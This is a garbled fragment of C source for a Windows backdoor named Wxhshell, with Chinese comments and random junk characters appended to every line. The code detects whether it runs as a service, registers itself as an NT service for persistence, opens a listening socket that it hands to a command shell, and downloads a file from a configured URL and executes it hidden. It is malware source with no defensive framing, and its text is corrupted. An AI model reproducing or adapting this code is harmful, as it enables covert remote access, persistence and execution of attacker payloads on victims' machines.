Y6A~
DWORD AffinityMask; {esJ=FV\
DWORD BasePriority; ~+yZfOcw
ULONG UniqueProcessId; _V@WNo%B
ULONG InheritedFromUniqueProcessId; HBH$
} PROCESS_BASIC_INFORMATION; i
AdGgK
X) V7bVW
PROCNTQSIP NtQueryInformationProcess; [4sEVu}
9 Ycn0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xJ{_qP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vY6oVjM
XZ`:wmc|
HANDLE hProcess; 3jjMY
PROCESS_BASIC_INFORMATION pbi; # 05jC6
lVz9k
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vw2`:]Q+
if(NULL == hInst ) return 0; ui:=
"(v%1tGk
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iPq &Y*
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hoa7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H{l)
^$v3eKA
if (!NtQueryInformationProcess) return 0; rLU'*}
-KH)J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T*?s@$)m4
if(!hProcess) return 0; k.<3HU
?38lHn`FyQ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X'f.Q
z-dFDtiA
CloseHandle(hProcess); QT!
4[,4
A4.4Dji,x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *O,H5lwU
if(hProcess==NULL) return 0; {:Aw_z:'
;}qhc l+
HMODULE hMod; sIy
char procName[255]; }Ov
^GYnn
unsigned long cbNeeded; >-.e A vD
!v|FT.
T`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O~!T3APGU
fH\X
CloseHandle(hProcess); $=B8qZ+
|Os6V<u"
if(strstr(procName,"services")) return 1; // 以服务启动 !d,8kG
Qck|#tc
return 0; // 注册表启动 u7fK1 ^O
} :IMdN}(L
1|{bDlmt
// 主模块 "5C`,4s
int StartWxhshell(LPSTR lpCmdLine) ?-MP_9!JK
{ ZE?f!ifp
SOCKET wsl; ~gE:-
BOOL val=TRUE; -`+<{NHv\
int port=0; RBwO+J53y
struct sockaddr_in door; FdzNE
n(1')?"mA
if(wscfg.ws_autoins) Install(); 08s_v=cF
QzOkpewf
port=atoi(lpCmdLine); mj&57D\fq
0p(L'
if(port<=0) port=wscfg.ws_port; ,HB2hHD
.pPm~2]z
WSADATA data; R!(ZMRMn
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >(r{7Qg
ht =P\E
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R'}95S<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~1
~Xfo>
door.sin_family = AF_INET; S?ujRp
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ehNzDr\s
door.sin_port = htons(port); tz^/J=)"
Y ^KTkS0D
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :i~W
}r
closesocket(wsl); #m<tJnEO
return 1; M;w?[yEZ
} :~F :/5
59r_#(uo
if(listen(wsl,2) == INVALID_SOCKET) {
K+Y^>N 4m
closesocket(wsl); -d+aV1n
return 1; oVvc?P
} h.eM
RdlO
Wxhshell(wsl); @L/o\pvc
WSACleanup(); @I`C#~
vI1i,x#i
return 0; ^EELaG
"9!d]2.-Vk
} 0'5/K ,
0 (U#)
// 以NT服务方式启动 Fmyj*)J[Z
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O`G/=/GZ
{ =,y |00l
DWORD status = 0; g{IF_ 1
DWORD specificError = 0xfffffff; NVKC'==0
6%,C_7j
serviceStatus.dwServiceType = SERVICE_WIN32; ~y HU^5D
serviceStatus.dwCurrentState = SERVICE_START_PENDING; nDS}^Ba
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^y!;xc$(Qs
serviceStatus.dwWin32ExitCode = 0; (*p ,T
serviceStatus.dwServiceSpecificExitCode = 0; ]rehW}
serviceStatus.dwCheckPoint = 0; 7 c|bc6?
serviceStatus.dwWaitHint = 0; \u,}vppz
=Prb'8 W
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); : _e#
if (hServiceStatusHandle==0) return; =m89z}Ot
_VE^/;$"l
status = GetLastError(); bmgn cwlz
if (status!=NO_ERROR) $+JS&k/'m
{ U>Ld~cw
serviceStatus.dwCurrentState = SERVICE_STOPPED; Wj|alH9<
serviceStatus.dwCheckPoint = 0; gr-9l0u
serviceStatus.dwWaitHint = 0; FBx_c;)9Z
serviceStatus.dwWin32ExitCode = status; >F1kR\!
serviceStatus.dwServiceSpecificExitCode = specificError; 5|3e&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zGKyN@o
return; C+[%7vF1
} Kt@M)#
">f erhN9
serviceStatus.dwCurrentState = SERVICE_RUNNING; @"a6fn
serviceStatus.dwCheckPoint = 0; 1 `^Rdi0
serviceStatus.dwWaitHint = 0; ]aP=Ks%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :x.7vZzxs
} ~h}Fi
IV%zO+
// 处理NT服务事件,比如:启动、停止 SIO&rrT.
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7tUA>;++
{ '* mH*?Y
switch(fdwControl) &Z(K6U#.
{ **9x?s
case SERVICE_CONTROL_STOP: F+R?a+e
serviceStatus.dwWin32ExitCode = 0; ^;!0j9"*:
serviceStatus.dwCurrentState = SERVICE_STOPPED; :B3[:MpL}
serviceStatus.dwCheckPoint = 0; -;f*VM.a
serviceStatus.dwWaitHint = 0; FZjHw_pP
{ lC:k7<0Ji
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |4$M]M f0
} ]Chj T}
return; `&\Q +W
case SERVICE_CONTROL_PAUSE: X%z }VA
serviceStatus.dwCurrentState = SERVICE_PAUSED; +$4(zPs@
break; dS^T$sz.co
case SERVICE_CONTROL_CONTINUE: Z^ }mp@j>
serviceStatus.dwCurrentState = SERVICE_RUNNING; infl.
break; )u))n# P
case SERVICE_CONTROL_INTERROGATE: 7Q\|=$2
break; #/PA A
}; _zlqtO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zvABU+{jD
} u]}s)SmDk
l/;X?g5+
// 标准应用程序主函数 :0Z^uuk`gq
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?X@fKAj
{ n]8<DX99Q0
%X#zj"
// 获取操作系统版本 :#dE:L;T
OsIsNt=GetOsVer(); 2,ECYie^
GetModuleFileName(NULL,ExeFile,MAX_PATH); )`^p%k
6'\6OsH
// 从命令行安装 %%(R@kh9
if(strpbrk(lpCmdLine,"iI")) Install(); G\|,5HED
s4&^D<
// 下载执行文件 h -iJlm
if(wscfg.ws_downexe) { rG,5[/l
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LYlDc;<A
WinExec(wscfg.ws_filenam,SW_HIDE); UK9@oCIB
} Gy=B&bo